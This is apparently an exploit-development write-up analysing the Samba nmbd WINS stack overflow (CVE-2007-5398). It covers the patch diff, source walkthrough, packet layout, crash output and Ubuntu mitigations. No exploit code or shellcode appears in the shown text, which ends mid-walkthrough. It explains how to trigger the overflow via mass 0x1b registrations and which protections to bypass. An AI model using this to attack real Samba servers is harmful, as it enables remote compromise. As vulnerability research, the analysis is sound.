|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation: ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑=[ Technical analysis of Samba WINS stack overflow ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ CVE‑2007‑5398 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ By max_packetz@felinemenace.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Index

1 ‑ Introduction

2 ‑ Initial Analysis

3 ‑ Ubuntu 7.10 Security mechanisms

4 ‑ Source code walk through

5 ‑ Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2 5.1 ‑ Verifying valid registration flags

5.2 ‑ Ordering the stack data correctly

5.3 ‑ Code execution analysis

5.4 ‑ Shellcode

5.5 ‑ Getting a shell

5.6 ‑ Making the exploit more reliable

5.6.1 ‑ static .bss data

5.6.2 ‑ Memory leak

5.6.2 ‑ Back to the future^W.bss

5.7 ‑ Additional exploitation notes

6 ‑ References

‑‑[ 1 ‑ Introduction

On the 15th November, 2007, the Samba team released a security advisory[1] detailing a stack overflow in the nmbd daemon, specifically in reply_netbios_packet() function in nmbd/nmbd_packets.c.

This vulnerability requires a specific non‑standard configuration operation set in smb.conf for the code path to be enabled. Specifically, "wins support = yes" needs to be set. This specific vulnerability is not going to be present in a default install, nor likely to be found randomly. Apart from that, it's a relatively standard vulnerability, with nothing to set it apart.

This article will be my running commentary / analysis while analysing and exploiting this bug, every little editing of the article will take place afterwards.. so if I make a stuff up / discover something applicable later on that I missed first time, you'll be able to read all about it.

Initially, I will be concerned about how this affects Ubuntu 7.10 by default, however, later on this may change if it turns out not to be exploitable, due to various protection mechanisms.

‑‑[ 2 ‑ Initial Analysis

The difference between samba‑3.0.26 and samba‑3.0.27 is shown directly below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑ samba‑3.0.26/source/nmbd/nmbd_packets.c

+++ samba‑3.0.27/source/nmbd/nmbd_packets.c

@@ ‑963,6 +963,12 @@

nmb‑>answers‑>ttl = ttl;

if (data && len) {

+ if (len < 0 || len > sizeof(nmb‑>answers‑>rdata)) { + DEBUG(5,("reply_netbios_packet: "

+ "invalid packet len (%d)\n",

+ len ));

+ return;

+ }

nmb‑>answers‑>rdlength = len; memcpy(nmb‑>answers‑>rdata, data, len); }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The additional checks it adds is immediately obvious what the problem is. Looking at the function declaration of the reply_netbios_packet() we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void reply_netbios_packet(struct packet_struct *orig_packet, int rcode, enum netbios_reply_type_code rcv_code, int opcode, int ttl, char *data, int len)

{

struct packet_struct packet;

struct nmb_packet *nmb = NULL;

struct res_rec answers;

struct nmb_packet *orig_nmb = &orig_packet‑>packet.nmb; BOOL loopback_this_packet = False;

int rr_type = RR_TYPE_NB;

const char *packet_type = "unknown";

/* Check if we are sending to or from ourselves. */

if( ismyip(orig_packet‑>ip) &&

(orig_packet‑>port == global_nmb_port)

)

loopback_this_packet = True;

nmb = &packet.packet.nmb;

..

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Checking the to see how much space is allocated in nmb‑>answers‑>rdata, we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* A resource record. */

struct res_rec {

struct nmb_name rr_name;

int rr_type;

int rr_class;

int ttl;

int rdlength;

char rdata[MAX_DGRAM_SIZE];

};

nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit

is 576 bytes */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To trigger this vulnerability, we need to determine how to reach the code in a vulnerable state (with a large len field, greater than 576 bytes.)

"grep ‑A 6 reply_netbios_ * | less" in source/nmbd, we see one that looks particularly interesting, especially due to advisories mentioning "wins support = yes" needing to be configured.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd_winsserver.c: reply_netbios_packet(p, /* Packet to reply to. */

nmbd_winsserver.c‑ 0,/* Result code. */

nmbd_winsserver.c‑ WINS_QUERY, /* nmbd type code. */

nmbd_winsserver.c‑ NMB_NAME_QUERY_OPCODE, /* opcode. */

nmbd_winsserver.c‑ lp_min_wins_ttl(), /* ttl. */

nmbd_winsserver.c‑ prdata, /* data to send. */

nmbd_winsserver.c‑ num_ips*6); /* data length. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Examining this code further we see that it's called in the process_wins_dmb_query_request() function. It looks through all registered hosts of the type 0x1b, counts them, allocates memory, cycles through the linked list again, and records the IP address(es), and flags associated with that records. Further more, the code doesn't do any checks on the data it is about to pass into the reply_netbios_packet() function.

Of specific interest in the process_wins_dmb_query_request() in nmbd_winsserver.c, the code is the

following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

for(i = 0; i < namerec‑>data.num_ips; i++) { set_nb_flags(&prdata[num_ips * 6],namerec‑>data.nb_flags); putip((char *)&prdata[(num_ips * 6) + 2], &namerec‑>data.ip[i]); num_ips++;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is constructing the data to be memcpy()'d later on, in 6 byte increments. This could present a problem later on, as the stack layout may need to be controlled with extreme precision, and the nb_flags details may be validated.

Since this code path looks plausible, we'll start constructing some code to trigger this vulnerability.

By doing a packet dump and loading it into WireShark[2], we can look for a WINS host being registered, and start working on an exploit. So far to trigger this vulnerability from reading over the code, we need approximately (576 / 6) registrations of type 0x1b, then we need to search for all 0x1b registrations.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NetBIOS Name Service

Transaction ID: 0x7b60

Flags: 0x2910 (Registration)

0... .... .... .... = Response: Message is a query .010 1... .... .... = Opcode: Registration (5) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... ...1 .... = Broadcast: Broadcast packet Questions: 1

Answer RRs: 0

Authority RRs: 0

Additional RRs: 1

Queries

VULN<20>: type NB, class IN

Name: VULN<20> (Server service)

Type: NB

Class: IN

Additional records

VULN<20>: type NB, class IN

Name: VULN<20> (Server service)

Type: NB

Class: IN

Time to live: 0 time

Data length: 6

Flags: 0x6000 (H‑node, unique) 0... .... .... .... = Unique name .11. .... .... .... = H‑node

Addr: 10.1.1.3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* Transaction ID is any 16 bit value.

* Flags is specific value, and is 16 bit.

* Questions is a 16 bit value.

* Answer RRs is a 16 bit value.

* Authority RRs is a 16 bit value.

* Additional RRs is a 16 bit value.

The "Queries" section is a 32 byte string, which encodes the type of registration, in addition with the type/class information. The "Additional records" section has the name as 0xc0 0x0c, which seems to indicate to use the name previously unpacked. Further more, the type and class information is present, along with time to live, host flag information, and address information.

It would appear that when registering is taking place, Samba extracts the flags field in the additional records, and the IP address information, and inserts it into the linked list.

With this knowledge, we can start our attempts at exploiting Samba by triggering the vulnerability. To reduce the amount of work that needs to be done, we'll use impacket [3] to reduce our work.

After writing a preliminary exploit, we can verify the code path we choose was correct. The code to trigger the vulnerability is included. We will develop the exploit against a default install of Ubuntu 7.10 server version.

The crash looks like

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Program received signal SIGSEGV, Segmentation fault. [Switching to Thread ‑1213143376 (LWP 31330)]

0x080cd22e in ?? ()

(gdb) x/10i $eip

0x80cd22e: cmp (%ecx),%al

0x80cd230: jne 0x80cd242

0x80cd232: movzbl 0xffff0bde(%ebx),%eax

0x80cd239: cmp 0x1(%ecx),%al

0x80cd23c: je 0x80cd35d

0x80cd242: mov 0xffffffbc(%ebp),%edx

0x80cd245: lea 0xffffffe0(%ebp),%esi

0x80cd248: mov 0x50(%edx),%eax

0x80cd24b: movl $0x20,0x8(%esp)

0x80cd253: mov %edx,0x4(%esp)

(gdb) i r ecx

ecx 0x6b6a6968 1802135912

(gdb) bt

#0 0x080cd22e in ?? ()

#1 0xbfe959c8 in ?? ()

#2 0x08138721 in ?? ()

#3 0x00000000 in ?? ()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The value in ecx, 0x6b6a6968 is taken from the trigger code above, in the CreatePackets() function, in the ip variable. This at least gives us a start in exploiting the service.

‑‑[ 3 ‑ Ubuntu 7.10 Security mechanisms

Here is a quick overview of the preventative security mechanisms I can see in the default install of Ubuntu 7.10.

* dmesg shows NX (Execute Disable) protection: active

* /proc/pid/maps for nmbd looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

08048000‑08145000 r‑xp 00000000 08:01 462765 /usr/sbin/nmbd 08145000‑08150000 rw‑p 000fc000 08:01 462765 /usr/sbin/nmbd 08150000‑081ea000 rw‑p 08150000 00:00 0 [heap]

...

b7fdd000‑b7ff7000 r‑xp 00000000 08:01 279708 /lib/ld‑2.6.1.so b7ff7000‑b7ff9000 rw‑p 00019000 08:01 279708 /lib/ld‑2.6.1.so bfbc9000‑bfbdf000 rw‑p bfbc9000 00:00 0 [stack] ffffe000‑fffff000 r‑xp 00000000 00:00 0 [vdso]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So while non‑execution may be active in some form, it looks like there may be some avenues via return‑to‑text, or jumping to the static vdso mapping.

* It appears there is a stack cookie implementation being used by the compiler which made nmbd ‑ due to strings output.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# strings /usr/sbin/nmbd | grep ‑i stack | head ‑n 1 __stack_chk_fail

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* SuSE's apparmor is installed, though a cursory look it doesn't seem to be used?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# apparmor_status

apparmor module is loaded.

0 profiles are loaded.

0 profiles are in enforce mode.

0 profiles are in complain mode.

0 processes have profiles defined.

0 processes are in enforce mode :

0 processes are in complain mode.

0 processes are unconfined but have a profile defined.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd hazard a guess that all memory regions are executable.. but we'll see how it goes.

So far, the only things that may hinder us a bit is that the:

* exploit is blind (unless a memory leak is found ‑ which can be worked on later.. or if we're lucky, the static memory address that we can use) * memory randomisation (a little bit, we have a static .text, and a static vdso)

* stack cookie checking may influence (either negatively, or positively) the avenues we have for exploiting the daemon.

‑‑[ 4 ‑ Source code walk through

To exploit the vulnerability, some of the things we need to do is:

* verify what flags field can be used, as our exploitation techniques may need to keep this in mind, or our shellcode / addresses we use may be affected in some way.

* Analyze exactly what we're overflowing, and what is being affected by the stack overwrite.

* Work out how to gain control of execution from the memory overwrite.

To make exploit development easier, we can install the samba‑dbg package that ships with Ubuntu 7.10. The samba‑dbg package has applicable symbols for the samba binaries / libraries. This may significantly help us exploit the vulnerability, as it will provide variable names, function information, and so fourth.

Since we have triggered the vulnerability, it's probably a good idea to start from reading the packets in, and finding where the memory is being used / defined, and work our way forwards to the memcpy(), then following what happens there.

The nmbd server has a main processing loop, called process() funnily enough, in nmbd/nmbd.c.

It reads in and queues the network packets, then processes the packets as shown below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Read incoming UDP packets.

* (nmbd_packets.c)

*/

if(listen_for_packets(run_election))

return;

...

/*

* Process all incoming packets

* read above. This calls the success and

* failure functions registered when response

* packets arrrive, and also deals with request

* packets from other sources.

* (nmbd_packets.c)

*/

run_packet_queue();

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Which hands off execution to the nmbd/nmbd_packets.c file, in run_packet_queue()

run_packet_queue() runs through the list of packets (as the name would suggest), identifying if it is NMB packet, or a "dgram" packet. If it is a NMB packet, it checks to see whether or not it is a request, or a response.

As we're dealing with a request type, it hands off execution to process_nmb_request() (which is in the same file as before, nmbd/nmbd_packets.c).

process_nmb_request() examines the opcode, and hands off execution to wins_process_name_query_request() in nmbd/nmbd_winsserver.c

A partial extract of the wins_process_name_query_request() is shown below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1879 /**************************************

1880 Deal with a name query.

1881 ***************************************

1882

1883 void wins_process_name_query_request(struct subnet_record *subrec,

1884 struct packet_struct *p)

1885 {

1886 struct nmb_packet *nmb = &p‑>packet.nmb;

1887 struct nmb_name *question = &nmb‑>question.question_name; 1888 struct name_record *namerec = NULL;

1889 unstring qname;

1890

1891 DEBUG(3,(

"wins_process_name_query: name query for name %s from IP %s\n", 1892 nmb_namestr(question), inet_ntoa(p‑>ip) )); 1893

1894 /*

1895 * Special name code. If the queried name is *<1b> then search 1896 * the entire WINS database and return a list of all the IP addresses

1897 * registered to any <1b> name. This is to allow domain master browsers

1898 * to discover other domains that may not have a presence on their subnet.

1899 */

1900

1901 pull_ascii_nstring(qname, sizeof(qname), question‑>name); 1902 if(strequal( qname, "*") && (question‑>name_type == 0x1b)) { 1903 process_wins_dmb_query_request( subrec, p); 1904 return;

1905 }

1906

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since our trigger packet matches the requirement at 1902, we then jump on to process_wins_dmb_query_request again in nmbd_winsserver.c. Some comments are inline.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1749 /**************************************

1750 Deal with the special name query for *<1b>

1751 ***************************************

1752

1753 static void process_wins_dmb_query_request(

struct subnet_record *subrec,

1754 struct packet_struct *p)

1755 {

1756 struct name_record *namerec = NULL;

1757 char *prdata;

1758 int num_ips;

1759

1760 /*

1761 * Go through all the ACTIVE names in the WINS db looking for those

1762 * ending in <1b>. Use this to calculate the number of IP 1763 * addresses we need to return.

1764 */

1765

1766 num_ips = 0;

1767

1768 /* First, clear the in memory list ‑ we're going to

re‑populate

1769 it with the tdb_traversal in fetch_all_active_wins_1b_names. */

1770

1771 wins_delete_all_tmp_in_memory_records();

1772

1773 fetch_all_active_wins_1b_names();

1774

1775 for( namerec = subrec‑>namelist; namerec; namerec = namerec‑>next ) {

1776 if( WINS_STATE_ACTIVE(namerec) && namerec‑>name.name_type == 0x1b) { 1777 num_ips += namerec‑>data.num_ips;

Count how many IP addresses are active, per registration.

1778 }

1779 }

1780

1781 if(num_ips == 0) {

None? then bail.

1782 /*

1783 * There are no 0x1b names registered. Return name query fail.

1784 */

1785 send_wins_name_query_response(NAM_ERR, p, NULL); 1786 return;

1787 }

1788

1789 if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {

Allocate required temporary memory. free()'d at end of function.

1790 DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.\n")); 1791 return;

1792 }

1793

1794 /*

1795 * Go through all the names again in the WINS db looking for those

1796 * ending in <1b>. Add their IP addresses into the list we will

1797 * return.

1798 */

1799

1800 num_ips = 0;

1801 for( namerec = subrec‑>namelist; namerec; namerec = namerec‑>next ) {

1802 if( WINS_STATE_ACTIVE(namerec) &&

namerec‑>name.name_type == 0x1b) {

Scan through the linked list of name records, finding suitable records that meet the above requirements.

1803 int i;

1804 for(i = 0; i < namerec‑>data.num_ips; i++) {

1805 set_nb_flags(&prdata[num_ips * 6],

namerec‑>data.nb_flags);

1806 putip((char *)&

prdata[(num_ips * 6) + 2], &namerec‑>data.ip[i]);

1807 num_ips++;

1808 }

Copy the data into the allocated memory. Memory is formatted of the type: [2 byte flags field][4 byte ip address]

1809 }

1810 }

1811

1812 /*

1813 * Send back the reply containing the IP list. 1814 */

1815

1816 reply_netbios_packet(p, /* Packet to reply to. */

1817 0, /* Result code. */

1818 WINS_QUERY, /* nmbd type code. */

1819 NMB_NAME_QUERY_OPCODE, /* opcode. */

1820 lp_min_wins_ttl(), /* ttl. */

1821 prdata, /* data to send. */

1822 num_ips*6); /* data length. */

1823

Call reply_netbios_packet. If reached where num_ips*6 > 576, it will trigger the vulnerability.

1824 SAFE_FREE(prdata);

1825 }

1826

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And looking at reply_netbios_packet(), we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

856 /**************************************

857 Reply to a netbios name packet. see rfc1002.txt

858 ***************************************

859

860 void reply_netbios_packet(struct packet_struct *orig_packet, 861 int rcode, enum netbios_reply_type_code

rcv_code,

int opcode,

862 int ttl, char *data,int len) 863 {

864 struct packet_struct packet;

Locally defined struct packet on the stack

865 struct nmb_packet *nmb = NULL;

866 struct res_rec answers;

Locally defined res_rec on the stack.

867 struct nmb_packet *orig_nmb = &orig_packet‑>packet.nmb; 868 BOOL loopback_this_packet = False;

869 int rr_type = RR_TYPE_NB;

870 const char *packet_type = "unknown";

871

872 /* Check if we are sending to or from ourselves. */

873 if(ismyip(orig_packet‑>ip) && (orig_packet‑>port == global_nmb_port))

874 loopback_this_packet = True;

875

876 nmb = &packet.packet.nmb;

Point nmb inside of the above locally declared packet.

877

878 /* Do a partial copy of the packet. We clear the locked flag

and

879 the resource record pointers. */

880 packet = *orig_packet; /* Full structure copy. */

881 packet.locked = False;

Build the nmb packet response

882 nmb‑>answers = NULL;

883 nmb‑>nsrecs = NULL;

884 nmb‑>additional = NULL;

885

886 switch (rcv_code) {

887 case NMB_STATUS:

888 packet_type = "nmb_status";

889 nmb‑>header.nm_flags.recursion_desired = False; 890 nmb‑>header.nm_flags.recursion_available = False; 891 rr_type = RR_TYPE_NBSTAT;

892 break;

893 case NMB_QUERY:

894 packet_type = "nmb_query";

895 nmb‑>header.nm_flags.recursion_desired = True; 896 nmb‑>header.nm_flags.recursion_available = True; 897 if (rcode) {

898 rr_type = RR_TYPE_NULL;

899 }

900 break;

901 case NMB_REG:

902 case NMB_REG_REFRESH:

903 packet_type = "nmb_reg";

904 nmb‑>header.nm_flags.recursion_desired = True; 905 nmb‑>header.nm_flags.recursion_available = True; 906 break;

907 case NMB_REL:

908 packet_type = "nmb_rel";

909 nmb‑>header.nm_flags.recursion_desired = False; 910 nmb‑>header.nm_flags.recursion_available = False; 911 break;

912 case NMB_WAIT_ACK:

913 packet_type = "nmb_wack";

914 nmb‑>header.nm_flags.recursion_desired = False; 915 nmb‑>header.nm_flags.recursion_available = False; 916 rr_type = RR_TYPE_NULL;

917 break;

918 case WINS_REG:

919 packet_type = "wins_reg";

920 nmb‑>header.nm_flags.recursion_desired = True; 921 nmb‑>header.nm_flags.recursion_available = True; 922 break;

923 case WINS_QUERY:

924 packet_type = "wins_query";

925 nmb‑>header.nm_flags.recursion_desired = True; 926 nmb‑>header.nm_flags.recursion_available = True; 927 if (rcode) {

928 rr_type = RR_TYPE_NULL;

929 }

930 break;

931 default:

932 DEBUG(0,(

"reply_netbios_packet: Unknown packet type: %s %s to ip %s\n", 933 packet_type, nmb_namestr(&orig_nmb‑>question.question_name),

934 inet_ntoa(packet.ip)));

935 return;

936 }

937

938 DEBUG(4,(

"reply_netbios_packet: sending a reply of packet type: %s %s to ip %s \ 939 for id %hu\n", packet_type, nmb_namestr

(&orig_nmb‑>question.question_name),

940 inet_ntoa(packet.ip), orig_nmb‑>header.name_trn_id)); 941

942 nmb‑>header.name_trn_id = orig_nmb‑>header.name_trn_id; 943 nmb‑>header.opcode = opcode;

944 nmb‑>header.response = True;

945 nmb‑>header.nm_flags.bcast = False;

946 nmb‑>header.nm_flags.trunc = False;

947 nmb‑>header.nm_flags.authoritative = True;

948

949 nmb‑>header.rcode = rcode;

950 nmb‑>header.qdcount = 0;

951 nmb‑>header.ancount = 1;

952 nmb‑>header.nscount = 0;

953 nmb‑>header.arcount = 0;

954

Finished building the nmb packet header, now on with the show.

955 memset((char*)&nmb‑>question,'\0',sizeof(nmb‑>question)); 956

957 nmb‑>answers = &answers;

958 memset((char*)nmb‑>answers,'\0',sizeof(*nmb‑>answers));

Setup nmb‑>answers, zero the memory.

959

960 nmb‑>answers‑>rr_name = orig_nmb‑>question.question_name; 961 nmb‑>answers‑>rr_type = rr_type;

962 nmb‑>answers‑>rr_class = RR_CLASS_IN;

963 nmb‑>answers‑>ttl = ttl;

964

965 if (data && len) {

966 nmb‑>answers‑>rdlength = len;

967 memcpy(nmb‑>answers‑>rdata, data, len);

Trigger the overflow, which writes into the function allocated copy of answers‑>rdata, which is defined/mentioned above as:

/* A resource record. */

struct res_rec {

struct nmb_name rr_name;

int rr_type;

int rr_class;

int ttl;

int rdlength;

char rdata[MAX_DGRAM_SIZE];

};

nameserv.h:#define MAX_DGRAM_SIZE (576)

/* tcp/ip datagram limit is 576 bytes */

968 }

969

970 packet.packet_type = NMB_PACKET;

971 /* Ensure we send out on the same fd that the original

972 packet came in on to give the correct source IP address. */

973 packet.fd = orig_packet‑>fd;

974 packet.timestamp = time(NULL);

975

976 debug_nmb_packet(&packet);

977

978 if(loopback_this_packet) {

979 struct packet_struct *lo_packet;

980 DEBUG(5,(

"reply_netbios_packet: sending packet to ourselves.\n")); 981 if((lo_packet = copy_packet(&packet)) == NULL) 982 return;

983 queue_packet(lo_packet);

984 } else if (!send_packet(&packet)) {

985 DEBUG(0,( "reply_netbios_packet: send_packet to IP %s port %d failed\n", 986 inet_ntoa(packet.ip),packet.port)); 987 }

988 }

989

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unfortunately, since we saw mention of stack cookies and checks, it appears that we can't just overwrite the saved eip and test if we have code execution ‑ indeed, running the exploit with too few registrations provide us with the message of:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*** stack smashing detected ***: /usr/sbin/nmbd terminated

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This means that it's probable we'll have to see what we can get away with in the processing of send_packet(). send_packet() is located in libsmb/nmblib.c

Looking at send_packet(), we find the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

982 /**************************************

983 Send a packet_struct.

984 ***************************************

985

986 BOOL send_packet(struct packet_struct *p)

987 {

988 char buf[1024];

989 int len=0;

990

991 memset(buf,'\0',sizeof(buf));

992

993 len = build_packet(buf, p);

994

995 if (!len)

996 return(False);

997

998 return(send_udp(p‑>fd,buf,len,p‑>ip,p‑>port)); 999 }

1000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The "char buf[1024];" looks interesting, and maybe useful.

Followed by the obvious:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

961 /**************************************

962 Linearise a packet.

963 ***************************************

964

965 int build_packet(char *buf, struct packet_struct *p)

966 {

967 int len = 0;

968

969 switch (p‑>packet_type) {

970 case NMB_PACKET:

971 len = build_nmb(buf,p);

972 break;

973

974 case DGRAM_PACKET:

975 len = build_dgram(buf,p);

976 break;

977 }

978

979 return len;

980 }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Followed by the call once again, to build_nmb():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

881 /**************************************

882 Build a nmb packet ready for sending.

883

884 XXXX this currently relies on not being passed something that expands 885 to a packet too big for the buffer. Eventually this should be 886 changed to set the trunc bit so the receiver can request the rest 887 via tcp (when that becomes supported)

888 ***************************************

889

890 static int build_nmb(char *buf,struct packet_struct *p) 891 {

892 struct nmb_packet *nmb = &p‑>packet.nmb;

893 unsigned char *ubuf = (unsigned char *)buf;

894 int offset=0;

895

896 /* put in the header */

897 RSSVAL(ubuf,offset,nmb‑>header.name_trn_id);

898 ubuf[offset+2] = (nmb‑>header.opcode & 0xF) << 3; 899 if (nmb‑>header.response)

900 ubuf[offset+2] |= (1<<7);

901 if (nmb‑>header.nm_flags.authoritative &&

902 nmb‑>header.response)

903 ubuf[offset+2] |= 0x4;

904 if (nmb‑>header.nm_flags.trunc)

905 ubuf[offset+2] |= 0x2;

906 if (nmb‑>header.nm_flags.recursion_desired)

907 ubuf[offset+2] |= 0x1;

908 if (nmb‑>header.nm_flags.recursion_available && 909 nmb‑>header.response)

910 ubuf[offset+3] |= 0x80;

911 if (nmb‑>header.nm_flags.bcast)

912 ubuf[offset+3] |= 0x10;

913 ubuf[offset+3] |= (nmb‑>header.rcode & 0xF);

914

915 RSSVAL(ubuf,offset+4,nmb‑>header.qdcount);

916 RSSVAL(ubuf,offset+6,nmb‑>header.ancount);

917 RSSVAL(ubuf,offset+8,nmb‑>header.nscount);

918 RSSVAL(ubuf,offset+10,nmb‑>header.arcount);

919

920 offset += 12;

921 if (nmb‑>header.qdcount) {

922 /* XXXX this doesn't handle a qdcount of > 1 */

923 offset += put_nmb_name((char *)ubuf,offset, &nmb‑>question.question_name);

924 RSSVAL(ubuf,offset,nmb‑>question.question_type); 925 RSSVAL(ubuf,offset+2,nmb‑>question.question_class); 926 offset += 4;

927 }

928

929 if (nmb‑>header.ancount)

930 offset += put_res_rec((char *)ubuf,offset,nmb‑>answers,

931 nmb‑>header.ancount);

932

933 if (nmb‑>header.nscount)

934 offset += put_res_rec((char *)ubuf,offset,nmb‑>nsrecs,

935 nmb‑>header.nscount);

936

937 /*

938 * The spec says we must put compressed name pointers 939 * in the following outgoing packets :

940 * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST, 941 * NAME_RELEASE_REQUEST.

942 */

943

944 if((nmb‑>header.response == False) &&

945 ((nmb‑>header.opcode == NMB_NAME_REG_OPCODE) || 946 (nmb‑>header.opcode == NMB_NAME_RELEASE_OPCODE) || 947 (nmb‑>header.opcode == NMB_NAME_REFRESH_OPCODE_8) || 948 (nmb‑>header.opcode == NMB_NAME_REFRESH_OPCODE_9) || 949 (nmb‑>header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) && 950 (nmb‑>header.arcount == 1)) {

951

952 offset += put_compressed_name_ptr(ubuf,offset,nmb‑>additional,12); 953

954 } else if (nmb‑>header.arcount) {

955 offset += put_res_rec((char *)ubuf,offset,nmb‑>additional, 956 nmb‑>header.arcount);

957 }

958 return(offset);

959 }

